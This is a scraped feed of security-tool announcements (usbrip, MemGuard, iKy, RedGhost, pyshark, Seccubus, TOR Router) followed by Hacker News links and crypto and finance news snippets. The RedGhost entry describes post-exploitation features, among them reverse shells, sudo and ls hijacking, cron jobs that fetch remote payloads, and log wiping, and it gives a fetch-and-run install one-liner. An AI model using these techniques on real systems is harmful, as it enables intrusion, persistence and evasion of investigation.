Show the event history of the external USB devices (-e, --external, which were actually disconnected) represented as a table (-t, --table) containing "Connected", "VID", "PID", "Disconnected" and "Serial Number" columns (-c COLUMN [COLUMN], --column COLUMN [COLUMN]) filtered by date (-d DATE [DATE ...], --date DATE [DATE ...]) with logs taken from the outer files (-f FILE [FILE ...], --file FILE [FILE ...]):

$ usbrip events history -et -c conn vid pid disconn serial -d "Dec  9" "Dec 10" -f /var/log/syslog.1 /var/log/syslog.2.gz

Build the event history of all USB devices and redirect the output to a file for further analysis. When the output stream is NOT terminal stdout (| or > for example) there would be no ANSI escape characters (color) in the output so feel free to use it that way. Also notice that usbrip uses some UNICODE symbols so it would be nice to convert the resulting file to UTF-8 encoding (with encov for example) as well as change newline characters to Windows style for portability (with awk for example):

usbrip history events -t | awk '{ sub("$", "\r"); print }' > usbrip.out && enconv -x UTF8 usbrip.out

Remark: you can always get rid of the escape characters by yourself even if you have already got the output to stdout. To do that just copy the output data to usbrip.out and add one more awk instruction:

awk '{ sub("$", "\r"); gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' usbrip.out && enconv -x UTF8 usbrip.out

Generate a list of trusted USB devices as a JSON-file (trusted/auth.json) with "VID" and "PID" attributes containing the first three devices connected on September 26:

$ usbrip events gen_auth trusted/auth.json -a vid pid -n 3 -d "Sep 26"

Search the event history of the external USB devices for violations based on the list of trusted USB devices (trusted/auth.json) by "PID" attribute, restrict resulting events to those which have "Bob" as a user, "EvilUSBManufacturer" as a manufacturer, "1234567890" as a serial number and represent the output as a table with "Connected", "VID" and "PID" columns:

$ usbrip events violations trusted/auth.json -a pid -et --user Bob --manufact EvilUSBManufacturer --serial 1234567890 -c conn vid pid

Search for details about a specific USB device by its VID (--vid VID) and PID (--pid PID):

$ usbrip ids search --vid 0781 --pid 5580

Download the latest version of usb_ids/usb.ids database (the source is here):

$ usbrip ids download

Download USBrip

Article link

Date of publish: Mon, 29 Jul 2019 07:18:00 +0000

MemGuard- Secure Software Enclave For Storage of Sensitive Information in Memory

This package attempts to reduce the likelihood of sensitive data being exposed. It supports all major operating systems and is written in pure Go.

Features

• Sensitive data is encrypted and authenticated in memory using xSalsa20 and Poly1305 respectively. The scheme also defends against cold-boot attacks.
• Memory allocation bypasses the language runtime by using system calls to query the kernel for resources directly. This avoids interference from the garbage-collector.
• Buffers that store plaintext data are fortified with guard pages and canary values to detect spurious accesses and overflows.
• Effort is taken to prevent sensitive data from touching the disk. This includes locking memory to prevent swapping and handling core dumps.
• Kernel-level immutability is implemented so that attempted modification of protected regions results in an access violation.
• Multiple endpoints provide session purging and safe termination capabilities as well as signal handling to prevent remnant data being left behind.
• Side-channel attacks are mitigated against by making sure that the copying and comparison of data is done in constant-time.
• Accidental memory leaks are mitigated against by harnessing the garbage-collector to automatically destroy containers that have become unreachable.

Some features were inspired by libsodium, so credits to them.

Full documentation and a complete overview of the API can be found here. Interesting and useful code samples can be found within the examples subpackage.

Installation

$ go get github.com/awnumar/memguard

We strongly encourage you to pin a specific version for a clean and reliable build. This can be accomplished using modules.

Contributing

• Using the package and identifying points of friction.
• Reading the source code and looking for improvements.
• Adding interesting and useful program samples to ./examples.
• Developing Proof-of-Concept attacks and mitigations.
• Improving compatibility with more kernels and architectures.
• Implementing kernel-specific and cpu-specific protections.
• Writing useful security and crypto libraries that utilise memguard.
• Submitting performance improvements or benchmarking code.

Issues are for reporting bugs and for discussion on proposals. Pull requests should be made against master.

Future goals

• Ability to stream data to and from encrypted enclave objects.
• Catch segmentation faults to wipe memory before crashing.
• Evaluate and improve the strategies in place, particularly for Coffer objects.
• Formalise a threat model and evaluate our performance in regards to it.
• Use lessons learned to apply patches upstream to the Go language and runtime.

Download MemGuard

Article link

Date of publish: Sun, 28 Jul 2019 13:14:00 +0000

iky OSINT Project. Collect information from a mail. Gather, Profile, Timeline.

Project iKy is to collects information from an email and shows results in a nice visual interface.

Installation

Clone repository

git clone https://gitlab.com/kennbroorg/iKy.git

Install Backend

Redis

You must install Redis

wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo make install

And turn on the server in a terminal

redis-server

Python stuff and Celery

You must install the libraries inside requirements.txt
pip install -r requirements.txt

And turn on Celery in another terminal, within the directory backend
./celery.sh

Finally, again, in another terminal turn on backend app from directory backend

python app.py

Install Frontend

Node

First of all, install nodejs.

Dependencies

Inside the directory frontend install the dependencies

npm install

Turn on Frontend Server

Finally, to run frontend server, execute:

npm start

Browser

Open the browser in this url

Config API Keys

Once the application is loaded in the browser, you should go to the Api Keys option and load the values of the APIs that are needed.

• Fullcontact: Generate the APIs from here
• Twitter: Generate the APIs from here
• Linkedin: Only the user and password of your account must be loaded

Video Demo

Download iKY Project

Article link

Date of publish: Mon, 22 Jul 2019 08:22:00 +0000

RedGhost- Linux post exploitation framework 

It has designed to assist red teams in persistence, reconnaissance, privilege escalation and leaving no trace. 

• Payloads

Function to generate various encoded reverse shells in netcat, bash, python, php, ruby, perl

• SudoInject

Function to inject sudo command with wrapper function to run a reverse root shell everytime "sudo" is run for privilege escalataion

• lsInject

Function to inject the "ls" command with a wrapper function to run payload everytime "ls" is run for persistence

• Crontab

Function to create cron job that downloads payload from remote server and runs payload every minute for persistence

• GetRoot

Function to try various methods to escalate privileges

• Clearlogs

Function to clear logs and make investigation with forensics difficult

• MassInfoGrab

Function to grab mass reconaissance/information on system

• CheckVM

Function to check if the system is a virtual machine

• MemoryExec

Function to execute remote bash script in memory

• BanIp

Function to BanIp using iptables

Installation

Install RedGhost in one line code:

wget https://raw.githubusercontent.com/d4rk007/RedGhost/master/redghost.sh; chmod +x redghost.sh; ./redghost.sh

One line code to Install prerequisites and RedGhost :

wget https://raw.githubusercontent.com/d4rk007/RedGhost/master/redghost.sh; chmod +x redghost.sh; apt-get install dialog; apt-g

Download Redghost

Article link

Date of publish: Fri, 19 Jul 2019 08:30:00 +0000

Python wrapper for tshark, allowing python packet parsing using Wireshark dissectors.

Pyshark features a few "Capture" objects (Live, Remote, File, InMem). Each of those files read from their respective source and then can be used as an iterator to get their packets. Each capture object can also receive various filters so that only some of the incoming packets will be saved.

Installation

All Platforms

Simply run the following to install the latest from pypi

pip install pyshark

Or install from the git repository:

git clone https://github.com/KimiNewt/pyshark.git
cd pyshark/src
python setup.py install

Mac OS X

You may have to install libxml which can be unexpected. If you receive an error from clang or an error message about libxml, run the following:

xcode-select --install
pip install libxml

You will probably have to accept a EULA for XCode so be ready to click an "Accept" dialog in the GUI.

Usage

Reading from a capture file:

>>> import pyshark
>>> cap = pyshark.FileCapture('/tmp/mycapture.cap')
>>> cap
<FileCapture /tmp/mycapture.cap (589 packets)>
>>> print cap[0]
Packet (Length: 698)
Layer ETH:
        Destination: BLANKED
        Source: BLANKED
        Type: IP (0x0800)
Layer IP:
        Version: 4
        Header Length: 20 bytes
        Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
        Total Length: 684
        Identification: 0x254f (9551)
        Flags: 0x00
        Fragment offset: 0
        Time to live: 1
        Protocol: UDP (17)
        Header checksum: 0xe148 [correct]
        Source: BLANKED
        Destination: BLANKED
  ...

Other options

• param keep_packets: Whether to keep packets after reading them via next(). Used to conserve memory when reading large caps.
• param input_file: Either a path or a file-like object containing either a packet capture file (PCAP, PCAP-NG..) or a TShark xml.
• param display_filter: A display (wireshark) filter to apply on the cap before reading it.
• param only_summaries: Only produce packet summaries, much faster but includes very little information
• param disable_protocol: Disable detection of a protocol (tshark > version 2)
• param decryption_key: Key used to encrypt and decrypt captured traffic.
• param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK.
• param tshark_path: Path of the tshark binary.

Reading from a live interface:

>>> capture = pyshark.LiveCapture(interface='eth0')
>>> capture.sniff(timeout=50)
>>> capture
<LiveCapture (5 packets)>
>>> capture[3]
<UDP/HTTP Packet>

for packet in capture.sniff_continuously(packet_count=5):
    print 'Just arrived:', packet

Other options

• param interface: Name of the interface to sniff on. If not given, takes the first available.
• param bpf_filter: BPF filter to use on packets.
• param display_filter: Display (wireshark) filter to use.
• param only_summaries: Only produce packet summaries, much faster but includes very little information
• param disable_protocol: Disable detection of a protocol (tshark > version 2)
• param decryption_key: Key used to encrypt and decrypt captured traffic.
• param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK).
• param tshark_path: Path of the tshark binary
• param output_file: Additionally save captured packets to this file.

Reading from a live interface using a ring buffer

>>> capture = pyshark.LiveRingCapture(interface='eth0')
>>> capture.sniff(timeout=50)
>>> capture
<LiveCapture (5 packets)>
>>> capture[3]
<UDP/HTTP Packet>

for packet in capture.sniff_continuously(packet_count=5):
    print 'Just arrived:', packet

Other options

• param ring_file_size: Size of the ring file in kB, default is 1024
• param num_ring_files: Number of ring files to keep, default is 1
• param ring_file_name: Name of the ring file, default is /tmp/pyshark.pcap
• param interface: Name of the interface to sniff on. If not given, takes the first available.
• param bpf_filter: BPF filter to use on packets.
• param display_filter: Display (wireshark) filter to use.
• param only_summaries: Only produce packet summaries, much faster but includes very little information
• param disable_protocol: Disable detection of a protocol (tshark > version 2)
• param decryption_key: Key used to encrypt and decrypt captured traffic.
• param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK).
• param tshark_path: Path of the tshark binary
• param output_file: Additionally save captured packets to this file.

Reading from a live remote interface:

>>> capture = pyshark.RemoteCapture('192.168.1.101', 'eth0')
>>> capture.sniff(timeout=50)
>>> capture

Other options

• param remote_host: The remote host to capture on (IP or hostname). Should be running rpcapd.
• param remote_interface: The remote interface on the remote machine to capture on. Note that on windows it is not the device display name but the true interface name (i.e. \Device\NPF_..).
• param remote_port: The remote port the rpcapd service is listening on
• param bpf_filter: A BPF (tcpdump) filter to apply on the cap before reading.
• param only_summaries: Only produce packet summaries, much faster but includes very little information
• param disable_protocol: Disable detection of a protocol (tshark > version 2)
• param decryption_key: Key used to encrypt and decrypt captured traffic.
• param encryption_type: Standard of encryption used in captured traffic (must be either 'WEP', 'WPA-PWD', or 'WPA-PWK'. Defaults to WPA-PWK).
• param tshark_path: Path of the tshark binary

Accessing packet data:

Data can be accessed in multiple ways. Packets are divided into layers, first you have to reach the appropriate layer and then you can select your field.

All of the following work:

>>> packet['ip'].dst
192.168.0.1
>>> packet.ip.src
192.168.0.100
>>> packet[2].src
192.168.0.100

To test whether a layer is in a packet, you can use its name:

>>> 'IP' in packet
True

To see all possible field names, use the packet.layer.field_names attribute (i.e. packet.ip.field_names) or the autocomplete function on your interpreter.

You can also get the original binary data of a field, or a pretty description of it:

>>> p.ip.addr.showname
Source or Destination Address: 10.0.0.10 (10.0.0.10)
# And some new attributes as well:
>>> p.ip.addr.int_value
167772170
>>> p.ip.addr.binary_value
'\n\x00\x00\n'

Decrypting packet captures

Pyshark supports automatic decryption of traces using the WEP, WPA-PWD, and WPA-PSK standards (WPA-PWD is the default).

>>> cap1 = pyshark.FileCapture('/tmp/capture1.cap', decryption_key='password')
>>> cap2 = pyshark.LiveCapture(interface='wi0', decryption_key='password', encryption_type='wpa-psk')

A tuple of supported encryption standards, SUPPORTED_ENCRYPTION_STANDARDS, exists in each capture class.

>>> pyshark.FileCapture.SUPPORTED_ENCRYPTION_STANDARDS
('wep', 'wpa-pwd', 'wpa-psk')
>>> pyshark.LiveCapture.SUPPORTED_ENCRYPTION_STANDARDS
('wep', 'wpa-pwd', 'wpa-psk')

Python2 deprecation - 

This package no longer supports Python2. If you wish to still use it in Python2, you can:

Use version 0.3.8

• Install pyshark-legacy via pypi
• Clone the pyshark-legacy [repo (https://github.com/KimiNewt/pyshark-legacy)], where bugfixes will be applied.

Looking for contributors - for various reasons I have a hard time finding time to maintain and enhance the package at the moment. Any pull-requests will be reviewed and if any one is interested and is suitable, I will be happy to include them in the project. Feel free to mail me at dorgreen1 at gmail.

There are quite a few python packet parsing modules, this one is different because it doesn't actually parse any packets, it simply uses tshark's (wireshark command-line utility) ability to export XMLs to use its parsing.

This package allows parsing from a capture file or a live capture, using all wireshark dissectors you have installed. Tested on windows/linux.

Download Pyshark

Article link

Date of publish: Tue, 16 Jul 2019 14:19:00 +0000

"Learn Ethical Hacking from Scratch ($23 Value) FREE For a Limited Time"

Learn how to hack systems like black hat hackers and secure them like security experts.

This eBook will help you:

• Understand ethical hacking and the different fields and types of hackers
• Set up a penetration testing lab to practice safe and legal hacking
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• Use server and client-side attacks to hack and control remote computers
• Control a hacked system remotely and use it to hack other systems
• Discover, exploit, and prevent a number of web application vulnerabilities such as XSS and SQL injections
• Understand how computer systems work and their vulnerabilities, exploit weaknesses and hack into machines to test their security, and learn how to secure systems from hackers now!

Free offer expires 07/23/19.

Offered Free by: Packt

DOWNLOAD NOW

Article link

Date of publish: Wed, 10 Jul 2019 19:28:00 +0000

Seccubus- Easy Automated Vulnerability Scanning, Reporting And Analysis

Seccubus automates regular vulnerability scans with various tools and aids security people in the fast analysis of its output, both on the first scan and on repeated scans.

Seccubus runs vulnerability scans at regular intervals and compares the findings of the last scan with the findings of the previous scan. The delta of this scan is presented in a web GUI where findings can be easily marked as either real findings or non-issues.

On repeated scan delta reporting ensures that findings only need to be judged when they first appear in the scan results or when their output changes.

Seccubus 2.x is the only actively developed and maintained branch and all support for Seccubus V1 has officially been dropped.

Seccubus V2 works with the following scanners:

• Nessus
• OpenVAS
• Skipfish
• Medusa (local and remote)
• Nikto (local and remote)
• NMap (local and remote)
• OWASP-ZAP (local and remote)
• SSLyze
• Medusa
• Qualys SSL labs
• testssl.sh (local and remote)

Docker

Available images.

         Image name                                   Purpose                         

• seccubus                     Run a full Seccubus stack in a single container
• seccubus-front            Serving just the front end HTML, javascript and css
• seccubus-web             Serving front and code and API simultaniously
• seccubus-api               Serving just the API.
• seccubus-perl              Running command line scripts, e.g. to scan
• seccubus-cron             Running cron deamon to execute scans

Information about the docker containers is here

Default password, changing it.

After installation the default username and password for seccubus is:

admin / GiveMeVulns!

It is highly recommended you change this after installation.

/bin/seccubus_passwd -u admin

Download Seccubus

Article link

Date of publish: Fri, 21 Jun 2019 14:05:00 +0000

TOR Router- A tool that allow you to make TOR your default gateway and send all internet connections under TOR (as transparent proxy) for increase privacy/anonymity without extra unnecessary code.

Tor Router allow you to use TOR as a transparent proxy and send all your traffic under TOR INCLUDING DNS REQUESTS, the only that you need is: a system using systemd (if you want to use the service) and tor.

TOR router doesn't touch system files as the rest of tools for routing your taffic does and the reason is: there isn't needed to move files for routing traffic, also moving files is a bad idea since that a fail in the script/tool can break your system connection without you knowing what has happened.

Script to install on distros using SystemD only

If you are using BlackArch Linux (https://blackarch.org) you can install the script from the repos using the following command:

# pacman -S tor-router

To install from source:

Note that you need BASH, not sh

~$ git clone https://gitub.com/edu4rdshl/tor-router.git && cd ./tor-router && sudo bash install.sh

Usage

In distros using systemd, you should consideer using the install.sh script, anyways the process to install/configure tor-router is described here.

It script require root privileges

1. Open a terminal and clone the script using the following command:
~$ git clone https://gitub.com/edu4rdshl/tor-router.git && cd tor-router/files

2. Put the following lines at the end of /etc/tor/torrc
# Seting up TOR transparent proxy for tor-router
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 5353

3. Restart the tor service
4. Execute the tor-router script as root
# sudo ./tor-router

5. Now all your traffic is under TOR, you can check that in the following pages: https://check.torproject.org and for DNS tests: https://dnsleaktest.com

6. In order to automate the process of the script, you should add it to the SYSTEM autostart scripts according that the init that you are using, for systemd we have a .service file in the files folder.

Uninstalling/Stoping

Delete the tor-router configuration lines in /etc/tor/torrc, disable the tor-router.service using systemctl (if you used the install.sh script), remove /usr/bin/tor-router, /etc/systemd/system/tor-router.service and restart your computer.

Proof of concept

After of run the script, follow the next steps to ensure that all is working as expected:

IP hidden and TOR network configured: 
Visit https://check.torproject.org, you should see a message like it:

Checking DNS Leaks: 

Visit https://dnsleaktest.com and make a extended test to see what are your DNS. You shloud get some like it:

Distros using the script

BlackArch Linux: https://github.com/BlackArch/blackarch/blob/master/packages/tor-router

Download TOR Router

Article link

Date of publish: Wed, 12 Jun 2019 11:00:00 +0000

Article URL: https://www.abetterinternet.org/post/receiving-the-levchin-prize/

Comments URL: https://news.ycombinator.com/item?id=31403313

Points: 127

# Comments: 15

Article link

Date of publish: Mon, 16 May 2022 21:26:19 +0000

Article URL: https://jobs.lever.co/jitxinc/485b853e-acd6-4073-b840-2929f210e9d7

Comments URL: https://news.ycombinator.com/item?id=31403078

Points: 1

# Comments: 0

Article link

Date of publish: Mon, 16 May 2022 21:00:26 +0000

Article URL: https://twitter.com/NeighborGeek/status/1526267594180857856

Comments URL: https://news.ycombinator.com/item?id=31403047

Points: 48

# Comments: 23

Article link

Date of publish: Mon, 16 May 2022 20:56:17 +0000

Article URL: https://weissmann.pm/julialang/

Comments URL: https://news.ycombinator.com/item?id=31402989

Points: 25

# Comments: 6

Article link

Date of publish: Mon, 16 May 2022 20:50:21 +0000

Article URL: https://www.axiom.co/vercel

Comments URL: https://news.ycombinator.com/item?id=31402935

Points: 50

# Comments: 6

Article link

Date of publish: Mon, 16 May 2022 20:45:08 +0000

Article URL: https://moxie.org/2012/11/27/the-worst.html

Comments URL: https://news.ycombinator.com/item?id=31402797

Points: 100

# Comments: 48

Article link

Date of publish: Mon, 16 May 2022 20:29:57 +0000

Article URL: https://www.freebsd.org/releases/13.1R/relnotes/

Comments URL: https://news.ycombinator.com/item?id=31402646

Points: 66

# Comments: 27

Article link

Date of publish: Mon, 16 May 2022 20:13:43 +0000

Article URL: https://back7.co/home/raspberry-pi-recovery-kit

Comments URL: https://news.ycombinator.com/item?id=31402558

Points: 43

# Comments: 14

Article link

Date of publish: Mon, 16 May 2022 20:03:45 +0000

Article URL: http://www.effectgames.com/demos/worlds/

Comments URL: https://news.ycombinator.com/item?id=31402436

Points: 75

# Comments: 17

Article link

Date of publish: Mon, 16 May 2022 19:54:05 +0000

Article URL: https://yousseb.github.io/meld/

Comments URL: https://news.ycombinator.com/item?id=31402137

Points: 124

# Comments: 54

Article link

Date of publish: Mon, 16 May 2022 19:25:25 +0000

Article URL: https://github.blog/2022-05-09-supercharging-github-actions-with-job-summaries/

Comments URL: https://news.ycombinator.com/item?id=31401470

Points: 49

# Comments: 8

Article link

Date of publish: Mon, 16 May 2022 18:28:06 +0000

Article URL: https://github.com/ggerganov/kbd-audio

Comments URL: https://news.ycombinator.com/item?id=31401467

Points: 102

# Comments: 37

Article link

Date of publish: Mon, 16 May 2022 18:27:40 +0000

Article URL: https://cyounkins.medium.com/correct-backups-require-filesystem-snapshots-23062e2e7a15

Comments URL: https://news.ycombinator.com/item?id=31401151

Points: 38

# Comments: 43

Article link

Date of publish: Mon, 16 May 2022 18:00:45 +0000

Article URL: https://www.allendowney.com/blog/2022/05/16/prestons-paradox/

Comments URL: https://news.ycombinator.com/item?id=31401006

Points: 41

# Comments: 25

Article link

Date of publish: Mon, 16 May 2022 17:50:34 +0000

Article URL: https://www.thedrive.com/news/33645/the-incredible-story-of-the-us-armys-earth-shaking-off-road-land-trains

Comments URL: https://news.ycombinator.com/item?id=31400812

Points: 162

# Comments: 64

Article link

Date of publish: Mon, 16 May 2022 17:37:14 +0000

Article URL: https://github.com/curusarn/resh

Comments URL: https://news.ycombinator.com/item?id=31400557

Points: 68

# Comments: 14

Article link

Date of publish: Mon, 16 May 2022 17:20:42 +0000

Article URL: https://www.nytimes.com/2022/05/16/science/electronics-silicon-gallium.html

Comments URL: https://news.ycombinator.com/item?id=31400302

Points: 22

# Comments: 11

Article link

Date of publish: Mon, 16 May 2022 17:02:36 +0000

Article URL: https://sfconservancy.org/news/2022/may/16/vizio-remand-win/

Comments URL: https://news.ycombinator.com/item?id=31399580

Points: 213

# Comments: 83

Article link

Date of publish: Mon, 16 May 2022 16:15:47 +0000

Article URL: https://www.cnbc.com/2022/05/16/what-happened-to-the-bitcoin-reserve-behind-terras-ust-stablecoin.html

Comments URL: https://news.ycombinator.com/item?id=31398261

Points: 294

# Comments: 360

Article link

Date of publish: Mon, 16 May 2022 14:52:08 +0000

Article URL: https://www.timescale.com/blog/observability-powered-by-sql-understand-your-systems-like-never-before-with-opentelemetry-traces-and-postgresql/

Comments URL: https://news.ycombinator.com/item?id=31397145

Points: 134

# Comments: 26

Article link

Date of publish: Mon, 16 May 2022 13:49:57 +0000

An unnamed individual allegedly sent more than $10 million in Bitcoin to an exchange in a country for which the U.S. currently imposes sanctions.

The United States Department of Justice may move forward on a criminal prosecution case against a U.S. citizen who allegedly violated sanctions through cryptocurrency.

According to a Friday opinion filing in U.S. District Court for the District of Columbia, the unnamed individual who is the subject of a criminal investigation by the Justice Department allegedly sent more than $10 million in Bitcoin (BTC) from a U.S.-based crypto exchange to an exchange in a country for which the U.S. currently imposes sanctions — suggesting Russia, Cuba, North Korea, Syria, or Iran. The filing alleged the individual “conspired to violate the International Emergency Economic Powers Act” and conspired to defraud the United States.

The individual allegedly “proudly stated the Payments Platform could circumvent U.S. sanctions” using BTC and knew about sanctions on the country. According to the filing, the U.S.-based crypto exchange had the user’s information through Know Your Customer compliance policies.

“The Department of Justice can and will criminally prosecute individuals and entities for failure to comply with [Office of Foreign Assets Control]’s regulations, including as to virtual currency,” said Magistrate Judge Zia Faruqui in his opinion. “Prohibited financial services include any transfer of funds, directly or indirectly [...] from the U.S. or by a U.S. person/entity, wherever located, to the sanctioned entity/country. And lest there be any doubt, financial service providers include virtual currency exchanges.”

Faruqui added:

“The question is no longer whether virtual currency is here to stay (i.e., FUD) but instead whether fiat currency regulations will keep pace with frictionless and transparent payments on the blockchain.”

Related: US Treasury Dept sanctions 3 Ethereum addresses allegedly linked to North Korea

The Treasury Department’s Office of Foreign Assets Control, or OFAC, is responsible for administering sanctions for the United States. Following Russia’s military invading Ukraine, the government office warned U.S. residents not to use digital assets to benefit certain Russia-based entities and individuals, and added Russia-based darknet marketplace Hydra, crypto mining services provider BitRiver, and digital currency exchange Garantex to its list of “Specially Designated Nationals,” a designation which generally prohibits Americans from doing business with them.

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Date of publish: Mon, 16 May 2022 22:25:31 +0100

Quad-stablecoin liquidity pools, an integration with Oasis Network and 12 new vaults could be the factors behind BIFI’s current triple digit gain.

Winston Churchill’s statement to “never let a crisis go to waste” can be applied across many aspects of society, including the recent carnage seen in the crypto market. Last week's volatility is likely to have newer investors and those who took on heavy losses questioning the future of the burgeoning asset class, but in every bear trend there is a silver lining.

One platform that appears to be capitalizing on the void created by TerraUSD’s (UST) collapse is Beefy Finance (BIFI), a multi-chain yield optimizing decentralized finance protocol.

Data from Cointelegraph Markets Pro and TradingView shows that after hitting a low of $387.80 on May 14, BIFI spiked 168.13% to hit a daily high of $1,040 on May 16 amids a 684% increase in its 24-hour trading volume.

Three reasons for the sudden spike in activity for BIFI are the increase in the liquidity pool options available for yield farming, a new integration with Oasis Network and the launch of 12 new vaults.

Stablecoin yields get a notable boost

The collapse of Terra (LUNA), UST and the 20% yield offered for UST deposits on Anchor Protocol (ANC) has opened the door for protocols like Beefy Finance to capture users and funds that were set adrift.

Beefy Finance has taken advantage of this opportunity by upgrading several stablecoin vaults to offer higher yields including the Curve stablecoin liquidity pool on Arbitrum, which now offers a yield of 34.9%.

Upgraded #Curve #stablecoin lp now on Beefy’s #Arbitrum network.

✅ $USDC - $USDT LP: 34.9% APY
https://t.co/zdB9WKfQ9B pic.twitter.com/eq0cbZFhmx

— Beefy (@beefyfinance) May 16, 2022

The platform has also integrated the Tron network's USDD stablecoin and depositors can earn 62.5% APY on the quad stablecoin pool comprised of USDD/BUSD/USDT/USDC.

Beefy Finance expands its ecosystem

As the cryptocurrency ecosystem slowly progresses toward a multi-chain future, Beefy Finance has also benefited from expanding the list of networks the protocol supports and the most recent addition of the Oasis Network brings the total number of supported chains supported to 15.

Take a break from staring at your portfolio and TA charts for a moment to read about Beefy's new partner, @OasisProtocol.

We are proud to build on Oasis's privacy-enabled network.
https://t.co/vyL6ludxwq

— Beefy (@beefyfinance) May 14, 2022

The integration with the Oasis Network makes Beefy Finance one of the most cross-chain compatible DeFi protocols in the ecosystem and includes support for the most active blockchains including Ethereum (ETH), BNB Smart Chain (BNB), Polygon (MATIC), Avalanche (AVAX) and Fantom (FTM).

Related: Deus Finance’s dollar-pegged stablecoin DEI falls below 60 cents

New vaults attract fresh liquidity

A third factor attracting investors to Beefy Finance is the launch of 12 new vaults within the last week.

The new vaults include support for assets from Stader.Fantom, an Oasis-based DeFi protocol called YuzuSwap, the Aurora-based protocol Trisolaris and Step.App (FITFI), which operates on Avalanche.

While the price of BIFI has managed to rally higher over the past week, it remains to be seen if the gains can hold and whether the platform will continue to see a rising TVL, especially if the current attractive yields begin to diminish.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph.com. Every investment and trading move involves risk, you should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 22:06:36 +0100

“This has been on our radar since late last year,” said California’s Fair Political Practices Commission communications director Jay Wierenga.

A California state regulator may be looking at overturning a ban on cryptocurrency donations to political campaigns which has been in effect since 2018.

According to its May 2022 agenda, California’s Fair Political Practices Commission, or FPPC, has scheduled a “pre-notice discussion” on Thursday on the use of cryptocurrencies f campaign contributions in the state. The commission said it will be considering drafting amendments to its regulations requiring that “no contribution may be made or received in cryptocurrency.”

In September 2018, the FPPC voted to ban both sending and receiving crypto contributions for political campaigns in the state of California, due to concerns the donations "might be utilized to circumvent contribution limits and prohibitions, or by foreign entities to contribute to campaigns." FPPC’s communications director Jay Wierenga told Cointelegraph that the commission “look[s] at trends and [tries] to stay ahead of them,” citing a March opinion in which its legal division said a campaign selling nonfugible tokens to raise funds must count "the entire amount received” as a “reportable contribution."

“This has been on our radar since late last year,” said Wierenga. “Crypto [has] obviously has grown in usage and visibility since 2019. So the Commission wants to review it and determine if any changes should be made, or not.”

According to Wierenga, the current ban on crypto political campaign contributions has not affected candidates running for office in California at a federal level, just state and local. For example, Aarika Rhodes, an elementary school teacher running to represent California’s 32nd congressional district currently held by Democrat Brad Sherman, has openly called for her supporters to donate Bitcoin (BTC) via the Lighting:

Our campaign has officially adopted Lighting for campaign contributions.⚡️

This revolutionary technology creates accessibility and looks towards the future. I am excited to provide this option to our supporters across all 50 states. #Bitcoin

— Aarika for CA-32 (@AarikaRhodes) November 30, 2021

Related: Crypto-focused PAC has used $9M to support Democratic candidates since January

Commissions and other governing bodies in U.S. states are responsible for determining whether to enforce bans on crypto political donations for state and local campaigns. South Carolina’s House of Representatives ethics committee said in 2018 that the definition of a campaign contribution did not include cryptocurrency, and Colorado capped the amount of donated in crypto to the same levels as fiat.

Article link

Date of publish: Mon, 16 May 2022 22:00:00 +0100

<figure><img alt="russian mcdonalds" class="img-responsive imported-news-entry-img" src="https://images2.markets.businessinsider.com/5eb9a673e3c3fb29fc456a0a?format=jpeg" /><figcaption>A McDonald&#39;s restaurant in Tver, Russia.<p class="copyright">FotograFFF/Shutterstock<!-- sh_cad_1 --></figcaption></figure>McDonald&#39;s announced Monday...

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Date of publish: Mon, 16 May 2022 10:32:42 GMT

<figure><img alt="Samuel Bankman-Fried, founder and CEO of FTX, testifies during a Senate Committee on Agriculture, Nutrition and Forestry hearing about &#34;Examining Digital Assets: Risks, Regulation, and Innovation,&#34; on Capitol Hill in Washington, DC, on February 9, 2022" class="img-responsive imported-news-entry-img" src="https://images2.

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Date of publish: Mon, 16 May 2022 10:30:00 GMT

<p xmlns="https://www.w3.org/1999/xhtml"><span class="legendSpanClass"><span class="xn-location">DENVER, <span class="legendSpanClass"><span class="xn-chron">May 16, 2022 /PRNewswire/ -- In a move that not only combines tons of free resources in one place but also embraces a private and advertisement-free experience, This Naked Mind introduces...

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Date of publish: Mon, 16 May 2022 10:30:00 GMT

Surging food prices are a "major worry" for the UK and other countries, Andrew Bailey warns.

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Date of publish: Mon, 16 May 2022 20:53:03 GMT

Chief executive Parag Agrawal says the firm is confident that less than 5% of users are spam accounts.

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The chain opened in Moscow in 1990 as the Soviet Union was opening its economy to Western brands.

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Date of publish: Mon, 16 May 2022 16:11:58 GMT

Apollo Global Management added a leader for its digital assets strategy and will invest millions in blockchain and Web3.

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Date of publish: 2022-05-16T22:27:22+00:00

JetBlue Airways launched a hostile takeover attempt for Spirit Airlines after the discount carrier rejected the previous offer.

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Date of publish: 2022-05-16T22:24:51+00:00

Purchasing a wine club membership could be a great idea, especially over the holidays. Or is it? Learn how to decide and how to choose the right one.

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Date of publish: 2022-05-16T21:55:14+00:00

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Date of publish: Sat, 14 May 2022 00:00:00 +0000

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Date of publish: Sat, 14 May 2022 00:00:00 +0000

Recession fears have grown as the Federal Reserve tightens monetary policy to help cool inflation that’s running near its hottest pace since the early 1980s.

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Date of publish: Mon, 16 May 2022 22:20:22 +0000

The Amazon founder and world's second-richest man has been tweeting about economics recently. He says don't blame inflation on unions or corporate tax rates, either.

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Date of publish: Mon, 16 May 2022 22:03:02 +0000

The discussion will focus on Bitcoin along with other subjects like crypto’s role in the digital economy.

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Date of publish: Mon, 16 May 2022 21:57:53 +0000

One employee shared they’d “never been so mad about a cat birthday before,” according to Bloomberg.

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Date of publish: Mon, 16 May 2022 16:07:48 -0400

“‘Temporarily on hold’ is not a thing,” wrote Bloomberg columnist Matt Levine. “Elon Musk has signed a binding contract requiring him to buy Twitter.”

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Date of publish: Fri, 13 May 2022 23:49:52 -0400

Cryptocurrency trading platform Coinbase has lost half its value in the past week.

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Date of publish: Wed, 11 May 2022 20:34:51 -0400

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Date of publish: 2022-05-16 21:02:21

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Date of publish: 2022-05-16 20:42:31

